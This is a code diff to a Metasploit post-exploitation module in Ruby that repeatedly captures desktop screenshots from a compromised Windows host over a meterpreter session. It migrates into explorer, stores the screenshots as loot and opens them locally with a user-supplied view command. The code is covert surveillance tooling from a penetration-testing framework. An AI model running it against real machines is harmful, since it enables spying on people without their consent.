@@ -13,34 +13,40 @@ def initialize(info={})
13
13
super ( update_info ( info ,
14
14
'Name' => 'Windows Gather Screen Spy' ,
15
15
'Description' => %q{
16
- This module will incrementally take screenshots of the meterpreter host. This
16
+ This module will incrementally take desktop screenshots from the host. This
17
17
allows for screen spying which can be useful to determine if there is an active
18
18
user on a machine, or to record the screen for later data extraction.
19
+ NOTES: set VIEW_CMD to control how screenshots are opened/displayed, the file name
20
+ will be appended directly on to the end of the value of VIEW_CMD (use 'auto' to
21
+ have the module do it's best...default browser for Windows, firefox for *nix, and
22
+ preview app for macs). 'eog -s -f -w' is a handy VIEW_CMD for *nix. To suppress
23
+ opening of screenshots all together, set the VIEW_CMD option to 'none'.
19
24
} ,
20
25
'License' => MSF_LICENSE ,
21
26
'Author' =>
22
27
[
23
28
'Roni Bachar <roni.bachar.blog[at]gmail.com>' , # original meterpreter script
24
29
'bannedit' , # post module
25
- 'kernelsmith <kernelsmith /x40 kernelsmith /x2E com>' , # record support
30
+ 'kernelsmith <kernelsmith /x40 kernelsmith /x2E com>' , # record/loot support,log x approach, nx
26
31
'Adrian Kubok' # better record file names
27
32
] ,
28
- 'Platform' => [ 'win' ] ,
33
+ 'Version' => '$Revision$' ,
34
+ 'Platform' => [ 'windows' ] , # @todo add support for posix meterpreter somehow?
29
35
'SessionTypes' => [ 'meterpreter' ]
30
36
) )
31
37
32
38
register_options (
33
39
[
34
- OptInt . new ( 'DELAY' , [ false , 'Interval between screenshots in seconds' , 5 ] ) ,
35
- OptInt . new ( 'COUNT' , [ false , 'Number of screenshots to collect' , 60 ] ) ,
36
- OptString . new ( 'BROWSER ' , [ false , 'Browser to use for viewing screenshots' , 'firefox ' ] ) ,
37
- OptBool . new ( 'RECORD' , [ false , 'Record all screenshots to disk' , false ] )
40
+ OptInt . new ( 'DELAY' , [ true , 'Interval between screenshots in seconds' , 5 ] ) ,
41
+ OptInt . new ( 'COUNT' , [ true , 'Number of screenshots to collect' , 6 ] ) ,
42
+ OptString . new ( 'VIEW_CMD ' , [ false , 'Command to use for viewing screenshots (auto, none also accepted) ' , 'auto ' ] ) ,
43
+ OptBool . new ( 'RECORD' , [ true , 'Record all screenshots to disk by looting them ' , false ] )
38
44
] , self . class )
39
45
end
40
46
41
47
def run
42
48
host = session . session_host
43
- screenshot = Msf ::Config . install_root + "/data /" + host + ".jpg"
49
+ screenshot = Msf ::Config . get_config_root + "/logs /" + host + ".jpg"
44
50
45
51
migrate_explorer
46
52
if session . platform !~ /win32|win64/i
@@ -55,46 +61,69 @@ def run
55
61
return
56
62
end
57
63
58
- # here we check for the local platform and use default browsers
59
- # linux is the one question mark firefox is not necessarily a
60
- case ::Config ::CONFIG [ 'host' ] # neat trick to get the local system platform
61
- when /ming/
62
- cmd = "start #{ datastore [ 'BROWSER' ] } \" file://#{ screenshot } \" "
63
- when /linux/
64
- cmd = "#{ datastore [ 'BROWSER' ] } file://#{ screenshot } "
65
- when /apple/
66
- cmd = "open file://#{ screenshot } " # this will use preview
64
+ # here we check for the local platform to determine what to do when 'auto' is selected
65
+ if datastore [ 'VIEW_CMD' ] . downcase == 'auto'
66
+ case ::RbConfig ::CONFIG [ 'host_os' ]
67
+ when /mac|darwin/
68
+ cmd = "open file://#{ screenshot } " # this will use preview usually
69
+ when /mswin|win|mingw/
70
+ cmd = "start iexplore.exe \" file://#{ screenshot } \" "
71
+ when /linux|cygwin/
72
+ # This opens a new tab for each screenshot, but I don't see a better way
73
+ cmd = "firefox file://#{ screenshot } &"
74
+ else # bsd/sun/solaris might be different, but for now...
75
+ cmd = "firefox file://#{ screenshot } &"
76
+ end
77
+ elsif datastore [ 'VIEW_CMD' ] . downcase == 'none'
78
+ cmd = nil
79
+ else
80
+ cmd = "#{ datastore [ 'VIEW_CMD' ] } #{ screenshot } "
67
81
end
68
82
69
83
begin
70
84
count = datastore [ 'COUNT' ]
71
- print_status "Capturing %u screenshots with a delay of %u seconds" % [ count , datastore [ 'DELAY' ] ]
85
+ print_status "Capturing #{ count } screenshots with a delay of #{ datastore [ 'DELAY' ] } seconds"
72
86
# calculate a sane number of leading zeros to use. log of x is ~ the number of digits
73
- leading_zeros = Math ::log ( count , 10 ) . round
87
+ leading_zeros = Math ::log10 ( count ) . round
88
+ file_locations = [ ]
74
89
count . times do |num |
75
90
select ( nil , nil , nil , datastore [ 'DELAY' ] )
76
91
data = session . espia . espia_image_get_dev_screen
77
92
if data
78
93
if datastore [ 'RECORD' ]
79
- # let's write it to disk using non-clobbering filename
80
- shot = Msf ::Config . install_root + "/data/" + host + ".screenshot.%0#{ leading_zeros } d.jpg" % num
81
- ss = ::File . new ( shot , 'wb' )
82
- ss . write ( data )
83
- ss . close
94
+ # let's loot it using non-clobbering filename, even tho this is the source filename, not dest
95
+ fn = "screenshot.%0#{ leading_zeros } d.jpg" % num
96
+ file_locations << store_loot ( "screenspy.screenshot" , "application/octet-stream" , session , data , fn , "Screenshot" )
97
+ #shot = Msf::Config.install_root + "/data/" + host + ".screenshot.%0#{leading_zeros}d.jpg" % num
84
98
end
85
99
86
- fd = ::File . new ( screenshot , 'wb' )
87
- fd . write ( data )
88
- fd . close
100
+ # also write to disk temporarily so we can display in browser. They may or may not have been RECORDed.
101
+ if cmd # do this if they have not suppressed VIEW_CMD display
102
+ fd = ::File . new ( screenshot , 'wb' )
103
+ fd . write ( data )
104
+ fd . close
105
+ end
89
106
end
90
- system ( cmd )
107
+ system ( cmd ) if cmd
91
108
end
92
109
rescue ::Exception => e
93
- print_error ( "Error taking screenshot: #{ e . class } #{ e } #{ e . backtrace } " )
110
+ print_error ( "Error taking or storing screenshot: #{ e . class } #{ e } #{ e . backtrace } " )
94
111
return
95
112
end
96
113
print_status ( "Screen Spying Complete" )
97
- ::File . delete ( screenshot )
114
+ if file_locations and not file_locations . empty?
115
+ print_status "run loot -t screenspy.screenshot to see file locations of your newly acquired loot"
116
+ end
117
+ if cmd
118
+ # wait 2 secs so the last file can get opened before deletion
119
+ select ( nil , nil , nil , 2 )
120
+ begin
121
+ ::File . delete ( screenshot )
122
+ rescue Exception => e
123
+ print_error ( "Error deleting the temporary screenshot file: #{ e . class } #{ e } #{ e . backtrace } " )
124
+ print_error ( "This may be due to the file being in use if you are on a Windows platform" )
125
+ end
126
+ end
98
127
end
99
128
100
129
def migrate_explorer
0 commit comments